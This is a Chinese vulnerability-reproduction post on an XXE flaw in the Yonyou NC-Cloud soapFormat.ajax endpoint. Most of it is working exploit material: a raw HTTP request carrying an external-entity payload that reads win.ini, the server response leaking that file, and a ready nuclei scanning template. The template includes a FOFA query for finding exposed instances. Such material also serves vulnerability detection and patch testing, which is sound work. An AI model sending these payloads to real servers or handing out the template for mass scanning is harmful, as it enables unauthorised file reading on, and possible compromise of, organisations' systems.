【漏洞复现】用友NC-Cloud soapFormat XXE漏洞

POST /uapws/soapFormat.ajax HTTP/1.1Host: 192.168.40.130:8989User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0Content-Length: 263Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: closeContent-Type: application/x-www-form-urlencodedUpgrade-Insecure-Requests: 1
msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a

HTTP/1.1 200 OKConnection: closeContent-Length: 481Date: Thu, 28 Dec 2023 03:36:30 GMTServer: Apache-Coyote/1.1
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini" >]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">  <soap:Body>    <soap:Fault>      <faultcode>soap:Server; for 16-bit app support[fonts][extensions][mci extensions][files][Mail]MAPI=1CMCDLLNAME32=mapi32.dllCMC=1MAPIX=1MAPIXVER=1.0.0.1OLEMessaging=1</faultcode>    </soap:Fault>  </soap:Body></soap:Envelope>

id: yonyou-nc-cloud-soapFormat-xxe
info:  name: 用友NC-Cloud soapFormat XXE漏洞  author: fgz  severity: critical  description: 用友NC-Cloud，大型企业数字化平台， 聚焦数字化管理、数字化经营、数字化商业，帮助大型企业实现人、财、物、客的 全面数字化，从而驱动业务创新与管理变革，与企业管理者一起重新定义未来的高度。该系统/uapws/soapFormat.ajax接口存在XXE漏洞，攻击者可以在xml中构造恶意命令，会导致服务器被远控。  metadata:    max-request: 1    fofa-query: body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"    verified: truerequests:  - raw:      - |+        POST /uapws/soapFormat.ajax HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2        Accept-Encoding: gzip, deflate        Connection: close        Upgrade-Insecure-Requests: 1        Content-Type: application/x-www-form-urlencoded        Content-Length: 259
        msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
    matchers:      - type: dsl        dsl:          - "status_code == 200 && contains(body, 'for 16-bit app')"

nuclei.exe -t mypoc/用友/nc-cloud/yonyou-nc-cloud-soapFormat-xxe.yaml -u http://192.168.40.130:8989

https://security.yonyou.com/#/home